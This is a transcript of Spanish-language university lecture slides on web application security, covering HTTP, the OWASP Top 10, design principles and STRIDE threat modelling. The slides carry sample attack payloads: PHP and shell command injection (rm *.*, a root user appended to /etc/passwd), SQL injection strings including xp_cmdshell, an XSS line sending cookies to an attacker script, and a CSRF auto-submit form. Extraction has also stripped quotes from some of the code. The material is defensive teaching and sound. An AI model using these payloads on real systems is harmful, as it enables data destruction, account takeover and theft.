Seguridad en Aplicaciones web

Transcripción

1 Seguridad en Aplicaciones web Cristian Cappo Núcleo de Investigación y Desarrollo Tecnológico Facultad Politécnica Universidad Nacional de Asunción, PY Setiembre/2014 Movilidad Docente Asociación de Universidades del Grupo Montevideo (AUGM)

2 Contenido I. Seguridad: Introducción II. Aplicaciones web. Características III. Vulnerabilidades y ataques en web. IV. Principios de diseño de seguridad V. Seguridad en el ciclo de vida una aplicación web

3 I - Seguridad: introducción

4 Qué es un sistema seguro? Qué es un software seguro? 4

5 Definiciones sobre sistema seguro Un sistema es seguro si se comporta precisamente en la manera esperada y de ninguna otra forma más. Definición vaga y abstracta, cuenta poco sobre como alcanzar esta seguridad. 5

6 Definiciones sobre sistema seguro(2) Un sistema es seguro si y solo si este comienza en un estado seguro y no puede pasar a un estado inseguro. No hay forma de definir un comportamiento deseable para un sistema suficientemente complejo. Los deseos muchas veces no son automáticamente mapeables a restricciones formales o concretas. El comportamiento de un sistema es muy difícil de analizar conclusivamente (Alan Turing: El problema de la indecibilidad ) 6

7 Un sistema seguro Aquel que esta construido en base a políticas de seguridad. Una política de seguridad es una sentencia de que es y que no es permitido. Estas políticas definen los métodos, herramientas y procedimientos que hacen cumplir la política. Una especificación de políticas de seguridad de acciones puede comprender mecanismos de prevención, detección o recuperación ante ataques. 7

8 Componentes de la seguridad de la Confidencialidad: previene el uso o descubierta no autorizada de información (la oculta) La privacidad es un concepto Asociado. El control de acceso soporta este componente información Integridad: salvaguarda la precisión y completitud de la Información y del método de procesamiento. Se refiere a la confianza en los datos y recursos. Incluye: integridad de datos e integridad del origen (autenticación) Disponibilidad: asegura que los usuarios autorizados accedan en tiempo y forma a los datos y recursos. El ataque de denegación de servicio compromete este componente 8

9 II - Aplicaciones web. Características 9

10 Qué es una aplicación web? Es aquella aplicación que utilizan la infraestructura web para su funcionamiento, en particular consideramos la que utiliza el protocolo HTTP (HyperText Transfer Protocol - RFC 2616) para la comunicación con sus usuarios. La web se ha convertido en el medio natural para desplegar servicios de software. Existen actualmente cerca de 785 millones de sitios web según Netcraft ( (a nov/2013), en el mismo mes del 2012 se tenía 625 millones, es decir hubo un crecimiento de más de 150 millones de sitios en un solo año!! Y con 34,3% de la población mundial con acceso a Internet (2400 millones de personas!!) Cuántos de estos sitios poseen al menos una aplicación web?

11 Beneficios de las aplicaciones web Utiliza un protocolo liviano(http) y stateless (sin conexión) El front-end es algo común en cualquier computadora o dispositivo móvil: un navegador. Los navegadores poseen mucha funcionalidad La tecnología y los lenguajes de desarrollo de las aplicaciones son relativamente simples y fáciles de conseguir.

12 Estan día a día con nosotros

13 Funcionalidades de la aplicaciones web(2) Además de Internet, las organizaciones están adoptando este esquema para soporte de sus actividades de negocio: Aplicaciones para manejo administrativo: ejemplo software ERP. Administración de infraestructura como servidores, estaciones de trabajo, máquinas virtuales, mail & web servers, etc. Software colaborativo: workflow, documentos, etc. Aplicaciones usuales de oficina (planilla, proc. de texto, etc): Google apps, MS Office live, etc.

14 Arquitectura web Esquema básico Firewall Cliente Web Servidor Web App - Web App - Web Servidor de Base de datos Tráfico HTTP Puerto 80

15 Arquitectura web Funcionamiento Todas las transacciones HTTP siguen el mismo formato. Cada request(cliente) y cada response(servidor) tiene tres partes: la línea del request (que indica el método HTTP) o response, la cabecera y el cuerpo

16 Arquitectura web Componentes Métodos HTTP: los principales GET y POST. Otros: HEAD, TRACE, OPTIONS, DELETE. URL (uniform resource locator): identificador único para un recurso web. El formato es el siguiente: protocol: //hostname[:port]/[path/]file?[param=value] Envío de parámetros: en el URL query string, en los cookies, en el cuerpo usando POST. Las aplicaciones pueden ser construidas con una variedad de tecnologías: Lenguajes de scripts como: PHP, VBScript, Perl, etc Plataformas de aplicaciones web : APS.NET, Java, Ruby on rails, Web servers: Apache, Nginx, IIS, Google, Oracle, IBM, etc Base de datos: Oracle, PostgreSQL, MySQL, etc Otros componentes de back-end: sistema de archivos, servicios web, servicios de directorio, etc.

17 Arquitectura web Métodos HTTP básicos Método Descripción Body? GET Solicitar un documento del servidor No HEAD Solicitar solo el header del servidor No POST Enviar datos al servidor para su procesamiento Si PUT Guardar el cuerpo del request en el servidor Si TRACE Mostrar la traza del mensaje a través de los proxys al server OPTIONS Determina que métodos están habilitados en el servidor No DELETE Borra un documento del servidor No No

18 Arquitectura web Funcionalidad del lado cliente HTML4 y HTML5 HyperLinks Forms CSS JavaScript VBScript DOM Ajax JSON Extensiones al browser: Java applets, controles ActiveX, objetos Flash, objetos Silverlight, etc. Etc..

19 Arquitectura web otras cuestiones Estado y Sesiones Esquemas de codificación (ejemplo del carácter = ) URL %3d Unicode %u003d ó \u003d HTML = ó = ó &eq; Base64 PQ== Hex 3D Acceso remoto de clientes y serialización Adobe Flex y AMF (Action Message Format) MS Silverligth and WCF (Windows Communication Foundation) Objetos java serializados

20 III - Vulnerabilidades y ataques en web

21 Qué es una vulnerabilidad? Es una debilidad o fallo de seguridad en el software que puede ser aprovechada o explotada de forma malintencionada por un atacante y violar así la seguridad del sistema, ó afectar su disponibilidad.

22 Porqué las aplicaciones quedan vulnerables? Falta de aplicación de una metodología que incluya a la seguridad como parte del proceso de desarrollo de software. Software Development Lifecycle SDL (Microsoft) SSE-CMM(ISO/IEC 21827) (SystemSecurityEngineering- CMM) SAMM (Software Assurance Maturity Model (OWASP) Software Security Framework (Citigal & Fortify )

23 Porqué las aplicaciones quedan vulnerables? (2) Conciencia sobre seguridad poco desarrollada. Desarrollo con ajustadas restricciones de tiempo y recursos. Rápida evolución de las amenazas. Creciente demanda de nuevas funcionalidades. Ajuste de las aplicaciones en funcionamiento (o en etapas finales de desarrollo) a las nuevas tecnologías. Desarrollo personalizado. La simplicidad engañosa de las herramientas.

24 Ejemplo de vulnerabilidades de una aplicación CMS popular Aplicación: Joomla! ( Fuente: (Secunia) Número de vulnerabilidades para Joomla! ( ): : : : 236 Common Vulnerabilities 2009: 66 and Exposures (CVE) Fuente : cve.mitre.org Desde 1999 a 2012, más Número de vulnerabilidades para Joomla! ( ): : : : : : : 67 del 50% corresponde a vulnerabilidades web Otras fuentes de consulta de vulnerabilidades: (Symantec) osvdb.org (Open Source Vulnerability Database) ( SecurityGlobal.net) (Web Hacking Incident Database) (exclusivo de aplicaciones web) xssed.com (Vulnerabilidades XSS) (lista un poco más de vulnerabilidades XSS)

25 Cómo evitar las vulnerabilidades? Hacer lo correcto desde el principio Pero No es posible 100% de seguridad Muchas veces utilizamos software de terceros, del que tal vez desconozcamos su calidad. Tenemos que convivir con sistemas en funcionamiento Si es posible mejorar el software, debe hacerse! Es probable que tengamos que aumentar la seguridad desde el exterior

26 Razones para atacar una aplicación web Ubicuidad Existencia de técnicas simples de hackeo Anonimato Pasar por alto las protecciones tradicionales (firewalls) Facilidad de código propio Seguridad inmadura Constantes cambios a las aplicaciones Dinero

27 Qué componentes son atacables? Plataforma web Aplicación web Base de datos Cliente web Comunicación Disponibilidad (DoS)

28 Ataques web Firewall Cliente Web Servidor Web App - Web App - Web Servidor de Base de datos Tráfico HTTP Puerto 80 GET /login.pl?user= El firewall no puede contrarrestar ataques que vienen en el contenido de los paquetes HTTP (que es puerto abierto)

29 Vulnerabilidades en web Open Web Application Security Project (OWASP) Organización sin fines de lucro que se dedica a ayudar a entender y mejorar la seguridad de las aplicaciones y servicios web. Entre uno de sus proyectos se encuentra la producción de la lista de las diez vulnerabilidades más importantes de las aplicaciones web. El último reporte es del 2013.

30 1. Inyección (notablemente SQL Injection). 2. Pérdida de autenticación y gestión de sesiones. 3. Secuencia de Comandos en Sitios Cruzados (XSS). 4. Referencia Directa Insegura a objetos. 5. Configuración de Seguridad Incorrecta. 6. Exposición de datos sensibles (incluye almacenamiento criptográfico inseguro) 7. Ausencia de control de acceso a funciones (incluye falla de restricción de acceso a URL de 2010) 8. Falsificación de Petición de Sitios Cruzados (CSRF). 9. Uso de componentes con vulnerabilidades conocidas (nuevo 2013) 10. Redirecciones y reenvíos no validados. OWASP Falla de restricción de acceso a URL de Almacenamiento criptográfico inseguro - Defectuosa configuración de seguridad

31 Ejemplos de vulnerabilidades y ataques usuales en web 31

32 Vulnerabilidades Fuente: IBM X-Force, % 59% Web app vulns Other vulns 32

33 Dos lados de la seguridad web Aplicaciones Web (server-side) Ventas online, bancos, blogs, Google Apps Mezcla de código de servidor y cliente Codigo en server escrito en PHP, Ruby, ASP, JSP se ejecuta en el servidor web. Código cliente escrito en JavaScript y otros, se ejecuta en el navegador. Muchos potenciales bugs: XSS, CSRF, SQL injection Navegador Web (client-side) Responsable de confinar en forma segura el contenido web presentado por los sitios visitados. 33

34 Server-side Se ejecuta en un servidor web (app server) Toma la entrada de los usuarios remotos vía el navegador. Interactúa con base de datos y otros servidores. Prepara la salida para los usuarios. 34

35 Ejemplo: PHP (Hypertext Processor) Lenguaje scripting con sintaxis al estilo C Puede intercalar HTML estático y código <input value = <?php echo $myvalor; $>> Puede incrustar variables de cadenas con comillas dobles: $usuario= Mundo ;echo Hola $usuario! ; o $usuario= Mundo;echo Hola. $usuario.. ; Datos de formularios en arreglos globales _$GET, $POST,.. 35

36 Inyección de código en PHP Calculadora server-side en PHP: $in = $_GET[ val ]; eval( $op1=. $in. ; ); Entrada benigna Entrada maliciosa rm *.* ) Calc.php ejecuta: eval( $op1=5; system( rm *.* ); ); 36

37 Mas inyección de código en PHP Código PHP para enviar mail $ = $_POST[ ] $subject = $_POST[ subject ] system( mail $ s $subject < /tmp/texto ) Código atacante =hacker@hackerhome.net& subject=foo < /usr/passwd; ls =hacker@hackerhome.net&subject=foo; echo evil::0:0:root:/:/bin/sh">>/etc/passwd; ls 37

38 SQL Típica generación de código usando SQL $selecteduser = $_GET['user']; $sql = "SELECT Username, Clave FROM users ". "WHERE Username='$selecteduser'"; $rs = $db->executequery($sql); Que pasa si user es una cadena maliciosa que cambia el significado de la consulta? 38

39 Típico login 39

40 Navegador (Cliente) Ingrese Usuario & Password Servidor web SELECT passwd FROM USERS WHERE uname = $user DB 40

41 Login normal Navegador (Cliente) Ingrese Usuario & Password Servidor web SELECT passwd FROM USERS WHERE uname = smith DB 41

42 Entrada maliciosa 42

43 Inyección SQL (SQLI) Navegador (Cliente) Ingrese Usuario & Password Servidor web SELECT passwd FROM USERS WHERE uname = ; DROP TABLE USERS;-- DB 43

44 Inyección SQL Idea básica Servidor víctima Atacante 1 3 Recibe datos desde la DB 2 Consulta No esperada Esta es una vulnerabilidad de validación de entrada La entrada de usuario no sanitizada cambia el sentido original de la consulta SQL. Es un caso especial de inyección de código DBMS Víctima 44

45 Autenticación con la BD set UserFound=execute( SELECT * FROM UserTable WHERE username= & form( user ) & AND password= & form( pwd ) & ); El usuario ingresa su código y contraseña, este SQL chequea si existe tal combinación en la BD. If not UserFound.EOF Autenticación correcta else Autenticación incorrecta 45

46 Usando SQLI para ingresar El usuario ingresa OR 1=1 -- El aplicación web ejecuta la consulta set UserFound=execute( SELECT * FROM UserTable WHERE username= OR 1=1 -- ); Ahora todos los registros son retornados y la autenticación es correcta 46

47 Más de SQLI El usuario puede dar como código exec cmdshell net user badguy badpwd / ADD Y se ejecuta la consulta: set UserFound=execute( SELECT * FROM UserTable WHERE username= exec -- ); Crea una cuenta para badguy en el servidor de base de datos. 47

48 SQLI de segundo orden Los datos guardados en la BD pueden ser utilizados luego para un SQLI Por ejemplo, un usuario cambia su nombre a admin -- Esta vulnerabilidad puede existir si no se aplica consistentemente la validación de entrada y el escapado (por ejemplo de convertir a \ ) Algunas aplicaciones solo validan la entradas del servidor web y no así las entradas que vienen de la BD. UPDATE users set password = jejeje where uname = admin - - Tratar a todas las entradas como peligrosas 48

49 Previniendo los SQLI Validar toda la entrada Filtrar cualquier carácter que tenga un significado especial Chequear el tipo de dato Caracteres permitidos (whitelist) Colocar solo los no permitidos a veces no funciona Se puede olvidar algunos Puede prevenir entradas válidas (por ejemplo O Higgins) Permita solo un conjunto bien definido de valores seguros Puede utilizar expresiones regulares. 49

50 Escapando Caracteres especiales como provee distinción entre datos y código en la consulta Para entradas válidas con, use caracteres escapados. Diferentes BD tienen diferentes reglas de escapado: Ejemplos escape(o Higging) = O\ Higging escape(o Higging) = O Higging 50

51 Sentencias SQL precompiladas En un SQLI los datos son interpretados como código Variables bind : garantiza que los lugares en la consulta sean datos (no código) Sentencias prepared: permiten la creación de consultas estáticas con variables bind. Preserva la estructura de la consulta prevista. 51

52 Ejemplo de sentencias prepared /* Ejemplo en Java */ PreparedStatement ps = db.preparestatement("select pizza, toppings, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=? "); ps.setint(1, session.getcurrentuserid()); ps.setint(2, Integer.parseInt(request.getParamenter("month"))); ResultSet res = ps.executequery(); Variables bind (data placeholder) La consulta es parseada sin los parámetros Las variables bind tienen tipos (int, string, ) De todos modos debe seguir cuidando los SQLI de segundo orden. 52

53 Cuestiones del lado cliente Cliente-side

54 Metas de la seguridad web Navegar en forma segura en la web Un sitio malicioso no puede robar información o modificar sitios legítimos o dañar al usuario. Aún si es visitado concurrentemente en un sitio legítimo, en una ventana separada, o aun en un iframe de la misma página. Soportar aplicaciones web seguras Las aplicaciones entregadas sobre la web deben tener las mismas propiedades de seguridad que requiere cualquier aplicación standalone. Cuáles son estas propiedades? (veremos más adelante) 54

55 Modelos de amenazas Web Atacante Web Atacante de la red Pasivo: espiando la conexión wireless Activo: router malicioso WiFi, envenenamiento DNS Atacante en Malware Código malicioso se ejecuta directamente en la computadora de la víctima Infecta la máquina, puede aprovechar bugs en software (ej: buffer overflow) o convencer al usuario a instalar contenido maliciosos. Como? Enmascarándose como un programa de antivirus, un video códec, etc. 55

56 Atacante web Controla un sitio malicioso (attacker.com) Puede inclusive obtener un certificado SSL/TLS para este sitio por casi nada. Usuario visita attacker.com (porqué) Correo pishing, contenido tentador, resultado de búsquedas, puesto por una propaganda, golpe de suerte.. App de atacantes en Facebook u otro El atacante no tiene otro acceso a la computadora del usuario Variación: atacante iframe Un iframe con contenido malicioso incluido en un sitio legal (propaganda, mashups, etc) 56

57 S.O. vs. Navegador - analogía Sistema Operativo Primitivas Llamadas al sistema (Sys Calls) Procesos Disco Principal: Usuarios Control de acceso discrecional Vulnerabilidades Buffer overflow Root exploit Navegador Primitivas DOM - Document object model Frames Cookies y localstorage Principal: Origen Control de acceso mandatorio Vulnerabilidades XSS Universal Cross-Site scripting (UXSS) 57

58 Same Origin Policy Same Origin Policy (SOP) para DOM: A puede acceder al DOM de B si A y B tienen el mismo (protocol, domain, port) Same Origin Policy (SOP) para cookies: Generalmente, basado en ([protocol], domain, path) protocol://domain:port/path?params opcional 58

59 Document Object Model (DOM) La página HTML es un dato estructurado DOM: representación orientada a objeto de una representación jerárquica de la estructura HTML Propiedades: document.alinkcolor, document.url, document.forms[ ], document.links[ ], Métodos: document.write(document.referrer) Cambian el contenido de la página!! También como Browser Object Model (BOM) Window, Document, Frames[], History, Location, Navigator (tipo y versión del navegador) 59

60 Ejemplo de ataques comunes Secuencia de Comandos en Sitios Cruzados (XSS) La aplicación puede ser utilizada como mecanismo para transportar un ataque al usuario final con un navegador. El navegador del usuario no tiene forma de conocer que el script es malicioso Puede acceder a cookies, tokens de sesión o cualquier otra información sensible guardada en el navegador. Pueden ser de tipo reflejado, permanente o de DOM

61 XSS - Ejemplo Considerar el siguiente código Java (String) page += "<input name='creditcard' type='text value='" + request.getparameter("cc") + "'>"; El atacante puede modificar el parámetro CC en el navegador '><script>document.location=' m/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

62 Secuencia de Comandos en Sitios Cruzados (XSS) Reflejado - Ejemplo Usuario hace login El usuario solicita el URL malicioso al servidor El server responde con el script del atacante El atacante secuestra la sesión del usuario El script del atacante Se ejecuta en el navegador Del usuario El atacante envía un URL malicioso al usuario El navegador del usuario envía el dato al atacante 62

63 Secuencia de Comandos en Sitios Cruzados (XSS) Guardado - Ejemplo Usuario hace login El atacante envía una respuesta conteniendo un script malicioso El usuario ve la respuesta del atacante El server responde con el script del atacante El atacante secuestra la sesión del usuario El script del atacante Se ejecuta en el navegador Del usuario 5 6 El navegador del usuario envía el dato al atacante 63

64 XSS (un poco más) Web 2.0 ` 1. HTTP GET 2. HTML and JS 3. Asynchronous GET 4. Javascript to wrap in eval Los scripts maliciosos pueden estar Contenidos en argumentos de JavaScript creados dinámicamente. Contenido en los arreglos JavaScript Escritos dinámicamente en el DOM 64

65 XSS en AJAX Flujos en arreglos Javascript var downstreamarray = new Array(); downstreamarray[0] = 42"; dobadstuff(); var bar= ajacked"; No detectado por filtros simples No existe <>, script, on.., etc Solo se necesita romper la doble comilla 65

66 XSS en AJAX Código JSON escrito en el DOM por un script del lado cliente var inboundjson = {"people": [ {"name": "Joel", "address": <script>badstuff();</script>", "phone": "911"} ] }; someobject.innerhtml(inboundjson.people[0].address); // Vulnerable document.write(inboundjson.people[0].address); // Vulnerable someobject.innertext(inboundjson.people[0].address); // Seguro XSS puede estar en el DOM document.url, documento.location, document.referer 66

67 Protegerse contra XSS Asegurar que su aplicación valide todas las cabeceras, cookies, query string, campos de formulario y campos ocultos No intentar identificar contenido activos y removerlos, filtrarlos o sanitizarlos. Existen demasiados tipos de contenido activo y muchísimas formas de codificarlo para sobrepasar los filtros. Es recomendable utilizar una política de seguridad positiva que especifica que es lo que está permitido. La política de seguridad negativa (mantenimiento de firmas) son difíciles de mantener y usualmente incompletas. 67

68 Prevenir XSS Cualquier entrada del usuario debe ser preprocesada antes de utilizarla dentro de HTML Remover /codificar los caracteres especiales HTML Usar una buena librería de escape Ejemplo: OWASP ESAPI En PHP, htmlspecialchars(string) puede reemplazar todos los caracteres con sus códigos HTML se convierte a &#039; se convierte a " & se convierte a & En ASP.NET, Server.HtmlEncode(string) 68

69 Seteando Cookies por el Servidor Nav. if expires=null: Es solo de la sesión GET HTTP Header: Set-cookie: NAME=VALUE; domain = (cuando enviar); path = (cuando enviar); secure = (solo sobre HTTPS); expires = (cuando expira); HttpOnly Serv. ámbito Borrar cookie seteando expires a una fecha pasada Ámbito por defecto es el dominio y path del URL actual Usos de cookies: autenticación, personalización, trazabilidad. 69

70 Identificación de Cookies Cookies son identificados por (name, domain, path) cookie 1 name = userid value = test domain = login.site.com path = / secure cookie 2 name = userid value = test123 domain =.site.com path = / secure Cookies distintos Ambos cookies guardados en el jar del browser y ambos en el ámbito login.site.com 70

71 domain: cualquier sufijo del URL-hostname, excepto el top-level domain (TLD) SOP para escribir Cookies Cuál cookie puede ser cambiado por login.site.com? Dominios permitidos login.site.com.site.com.com login.site.com puede cambiar cookies para todo.site.com pero no para otro sitio o TLD path: cualquiera Dominios no permitidos user.site.com othersite.com 71

72 SOP para enviar Cookies Nav. GET //URL-domain/URL-path Cookie: NAME = VALUE Serv. El navegador envia todos los cookies en el ámbito URL: cookie-domain es el dominio sufijo del URL-domain cookie-path es el prefijo del URL-path protocol=https si el cookie es secure Meta: el servidor solo puede ver cookies en su ámbito 72

73 Cuestiones en el protocolo de Cookies Qué conoce el servidor acerca de los cookies enviados por el browser? Solo ve Cookie: Name=Value y no los atributos (ejemplo, secure ) y no cuál dominio seteo el cookie RFC 2109 (cookie RFC) tiene la opción de incluir dominio y path, pero no es soportado por todos los navegadores 73

74 Como cambio el Cookie? Alice ingresa a login.site.com login.site.com setea el cookie de la session-id para.site.com Alice visita evil.site.com Sobreescribe.site.com session-id cookie con session-id del usuario test - no es una violación de SOP! (porqué?) Alice visita algo.site.com para enviar un trabajo algo.site.com piensa que esta hablando con test Problema: algo.site.com espera el session-id de login.site.com, no puede saber que el session-id cookie ha sido sobreescrito por un dominio hermano 74

75 Sobreescriendo Cookies seguros Alice accede a LSID, GAUSR son Cookies seguros Alice visita Automaticamente, debido a el filtro de phishing Un atacante de red puede inyectar la respuesta Set-Cookie: LSID=badguy; secure El navegador piensa que el cookie viene de permitiéndole sobreescribir el cookie seguro 75

76 Accediendo a Cookies via DOM La misma regla de ámbito de dominio como para enviar cookies al servidor. document.cookie retorna una cadena con todas las cookies disponibles por el documento Utilizada a veces en JavaScript para personalizar la página Javascript puede setear y borrar cookies via DOM document.cookie = name=value; expires= ; document.cookie = name=; expires= Thu, 01-Jan-70 76

77 XSRF (CSRF) Cross-site request forgery (Falsificación de petición en sitios cruzados) Sitios web maliciosos obligan al navegador del usuario a enviar una petición a un sitio web víctima con las credenciales del usuario. 77

78 CSRF Ejemplo: Un usuario ingresa a bank.com, olvida salir de su sesión. El usuario visita un sitio malicioso conteniendo <form name=formpago action= <input name=recipiente value=badguy> <script> document.formpago.submit(); </script> El navegador envía la cookie con la requisición maliciosa De esta forma: la autenticación con cookies no es suficiente cuando ocurre este tipo de efecto colateral. 78

79 CRSF - Falsificación de Petición en Sitios Cruzados Usuario hace login a una aplicación 1 El navegador envía requisición del atacante El usuario visita una página del atacante que tiene un CRSF Recibe página maliciosa 79

80 El servidor responde e incluye un cookie 80

81 El atacante ha inyectado un iframe 81

82 Recomendaciones para evitar CRSF Login Validación estricta del campo Referer: Usar HTTPS, en este tipo de conexión el Referer no es usualmente suprimido Utilizar correctamente tokens de validación (no debe poder ser obtenido por el atacante, por ejemplo via XSS). 82

83 III - Principios de diseño de seguridad 83

84 Principios de diseño de seguridad (PDS) * Son generales, aplicados a cualquier software 1) Diseño abierto 2) Seguro a fallas, por defecto 3) Privilegios mínimos 4) Economía de mecanismo 5) Separación de privilegios 6) Mediación completa 7) Mecanismo común mínimo 8) Aceptabilidad psicológica *Saltzer & Schoroeder. The protection of information in Computer Systems. CACM

85 PDS (2) 1) Diseño abierto/público (Open Design) Sugiere que la complejidad no agrega seguridad Definición: la seguridad de un mecanismo no debería depender del secreto de su diseño o implementación. El término seguridad por oscuridad captura el concepto. Ejemplo: El sistema CSS (Content Scrambling System) es un algoritmo criptográfico que protege a los DVDs de copias no autorizadas. Aunque el algoritmo se mantuvo oculto, en 1999 se descubrió el algoritmo, se publicó y se rompió. 85

86 PDS (3) 2) Seguro ante fallas, por defecto Restringe como los privilegios son inicializados cuando un sujeto u objeto es creado. Definición: un privilegio a un sujeto debe ser dado explícitamente sobre un objeto, de lo contrario se debe denegar el acceso al mismo. El acceso por defecto es ninguno Ejemplo: Si un servidor de mail no puede crear el directorio de spool, éste debe cerrar la conexión, emitir un mensaje de error y parar. No debe tratar de guardar el mensaje o expandir sus privilegios para guardar el mensaje en otro lugar, esto daría lugar a un atacante para sobrescribir o alzar nuevos archivos o llenando el disco (ataque DoS). 86

87 PDS (4) 3) Privilegios mínimos Indica como los privilegios son otorgados Definición: un sujeto debe tener solo los privilegios necesarios a fin de completar su tarea. Si alguien no necesita de un privilegio, no lo debe tener. Ejemplo 1: En Unix al usuario root no se le aplica control de acceso, tiene privilegio a todo. Ejemplo 2: un mail server que acepta conexiones de internet y copia los mensajes al directorio spool. Solo necesita acceso al puerto de red, crear los archivos y modificarlos. Debe renunciar a sus derechos sobre el archivo tan pronto como termina su tarea. Este no debe poder leer luego los archivos de usuarios. 87

88 PDS (5) 4) Economía en los mecanismos Enfatiza que el diseño e implementación de los mecanismos de seguridad deben ser simples. Definición: los mecanismos de seguridad deben ser tan simples como se pueda. Si los mecanismos son simples, existe menos posibilidades de error. 88

89 PDS (6) 5) Separación de privilegios Limita el acceso a las entidades del sistema Definición: un sistema no debe otorgar permisos basados en una simple decisión. Sistemas y programas deben dar acceso a recursos solo cuando mas de una condición es cumplida. Ejemplo: En Berkeley-Unixs, los usuarios no pueden cambiarse a la cuenta root a no ser que se den dos situaciones. La primera es que conozca la contraseña de root y la segunda que se encuentre en el grupo wheel. 89

90 PDS (7) 6) Mediación completa Este principio restringe la información en caché. Definición: requiere que todos los accesos a los objetos sean chequeados para asegurar que ellos son permitidos. Ejemplo: El DNS guarda información en el caché de los nombres de hosts con sus direcciones IP. Si un atacante envenena el caché implantando registros asociados a un IP falso con un nombre válido, un host puede enrutar conexiones a otro host incorrectamente. 90

91 PDS (8) 7) Mecanismo común mínimo Es restrictivo ya que limita el compartir Definición: los mecanismos para acceso a recursos no deben ser compartidos. Compartir recursos provee un canal por el cual la información puede ser transmitida, por lo que debe minimizarse el compartir. Ejemplo: un sitio web provee servicio de comercio electrónico a una compañía. Los atacantes quieren privar a esa compañía de sus ganancias, así que inundan el sitio con mensajes obstruyendo el servicio de comercio electrónico haciendo que los usuarios legítimos no puedan accederlo. En este caso el compartir Internet con el sitio de los atacantes causan que el ataque sea exitoso. 91

92 PDS (9) 8) Aceptabilidad psicológica Se reconoce el elemento humano en la seguridad informática. Definición: los mecanismos de seguridad no deben hacer mas dificultoso el acceso a un recurso que cuando éstos no estén presentes. Configurar y ejecutar un programa debe ser fácil e intuitivo tanto como sea posible, y la salida debe ser clara, directa y útil. Ejemplo: el programa ssh permite al usuario configurar el mecanismo de clave pública para cifrar la comunicación. Si se guarda la clave pública, se permite la conexión sin proveer la contraseña pero se mantiene la conexión cifrada. 92

93 IV - Seguridad en el ciclo de vida una aplicación web 93

94 Seguridad en el ciclo de vida de un software El diseño, construcción y despliegue de una aplicación debe integrar seguridad en todo su ciclo de vida. Algunas metodologías para desarrollo de software seguro: McGraw s Touchpoint BSIMM Building Security in Maturity Model Microsoft SDL OpenSAMM (Software Assurance Maturity Model) Security considerations in the SDLC NIST ( orientado a incluir seguridad en el ciclo de vida de desarrollo de software) 94

95 Metodología SDL (Security Devolopment lifecycle) Desarrollada por Microsoft Mandatorio en MS desde

96 Como integrar Seguridad al ciclo de vida de un software (un ejemplo basado en SDL) 96

97 Actividades de seguridad en el ciclo de vida de una aplicación 97

98 a) Objetivos de seguridad (Etapa de desarrollo: Requerimiento y análisis) 98

99 Descubriendo los objetivos de seguridad Matriz de roles Derivar de los requerimientos funcionales 99

100 Matriz de roles Ejemplo 100

101 Derivar de los requerimientos funcionales Ejemplo 101

102 B) Diseño seguro Directrices para el diseño seguro (Etapa de desarrollo: Arquitectura y diseño) Consisten en un conjunto de prácticas que pueden ser empleados para reducir el riesgo de vulnerabilidades de seguridad. Cada directriz debe ser: Accionable Asociada a una vulnerabilidad a ser mitigada Relevante Asociada a una vulnerabilidad que es conocida afecta a aplicaciones reales. De impacto Debe representar una decisión de ingeniería que tenga un impacto amplio. 102

103 Marco de seguridad Es una modelo de información-patrón que define un conjunto de aspectos de seguridad para la aplicación que se está diseñando. Las guías de patrones y prácticas incluyen un marco de seguridad específico por cada tipo de aplicación. 103

104 Categoría de vulnerabilidades común en muchos tipos de aplicaciones 104

105 Directrices específicas para una aplicación específica Directrices de diseño para aplicación web 105

106 Consideraciones de despliegue 106

107 c) Modelado de amenazas (Etapa de desarrollo: Requerimiento y análisis) Software security es construir software seguro que funcione como es esperado a través de todo su ciclo de vida. (Diferente a security software ) El modelado de amenazas es parte integral del ciclo de desarrollo seguro de una aplicación. Cuando desarrolla o actualiza un sistema, debe considerar cómo un intruso puede atacarlo y cómo construir las defensas apropiadas en los estadios de diseño e implementación del mismo. 107

108 Modelado de amenazas Existen muchos abordajes No existe una forma bien establecida para medirla calidad de un modelo de amenazas. Aun en el campo más maduro, como por ejemplo el de criptografía, muchos algoritmos/programas populares aun no han probado ser seguros (HeartBleed bug de OpenSSL - CVE ). 108

109 Modelado de amenazas Es una técnica de ingeniería que se utiliza para identificar amenazas, ataques, vulnerabilidades y contramedidas Ayuda a: Reconocer los objetivos de seguridad Amenazas relevantes Vulnerabilidades y contramedidas Es realizado para identificar cuando y donde se requieren más recursos para reducir los riesgos. Se realiza usualmente en la fase de diseño de un sistema y se retroalimenta de otras fases. 109

110 Modelado de amenazas proceso iterativo 110

111 Modelado de amenazas en el ciclo de vida de un SW En el modelo SDL de MS 111

112 Utilizando STRIDE Amenaza Spoofing Falsificación de identidad Tampering Modificación de dato o código Repudiation Negar que se ha realizado una acción Information disclosure Exponer información no autorizada a verla Denial of service Denegar o degradar el servicio a los usuarios Elevation of privilege Ganar capacidades sin la debida autorización Componente de seguridad Autenticación Integridad No Repudio Confidencialidad Disponibilidad Autorización 112

113 Modelado de amenazas Forma parte del SDL (Security Development Lifecycle) En el modelo de amenazas utilizando STRIDE, se descompone el sistema en componentes relevantes, se analiza cada componente por susceptibilidad a las amenazas y se mitiga las mismas. Este proceso se repite hasta que uno se encuentre confortable con las amenazas que restan. Si hace esto puede argumentar que su sistema es seguro. 113

114 El proceso de modelado con STRIDE 114

115 El proceso de modelado con STRIDE Diagrama: se utiliza DFD (Data Flow Diagram Diagrama de Flujo de Datos) aunque se puede utilizar cualquier otro para representar el diseño del sistema. 115

116 Elementos del DFD 116

117 DFD Puede hacerse en varios niveles Diagrama de contexto. Alto nivel, el producto/sistema completo Nivel 1 Alto nivel con los principales componentes Nivel 2 Bajo nivel con detalle de subcomponentes Nivel 3 Mucho más detallado, solo para grandes proyectos 117

118 Ejemplo (diagrama de contexto) 118

119 Ejemplo (Diagrama de nivel 1) 119

120 DFD Análisis o Síntesis TopDown Comienza del contexto Se focaliza en el sistema como un todo Bottom up Se conoce en detalle las características Se comienza desde abajo Abordaje no es conveniente para la síntesis 120

121 Reglas básicas Los datos no aparecen mágicamente, los datos vienen de un DataStore o de una entidad externa. Los datos no mueren en un DataStore, se indica un DataStore por alguna razón. Los datos no fluyen mágicamente entre los DataStores, debe existir un proceso entre ellos. No reensamble de diagrama de clases o grafos de llamadas. 121

122 Amenazas por cada elemento del sistema (Identificando amenazas) 122

123 Mitigación: algunas mitigaciones estándar 123

124 Validación Validar todo el modelo Coincide con el código final? Son todas las amenazas enumeradas? Mínimo: STRIDE de cada elemento que toca la línea de confianza Esta cada amenaza mitigada? Son las mitigaciones correctas? Validar la información capturada Qué otro código utiliza? Que funciones de seguridad esta en otro código? Esta seguro? 124

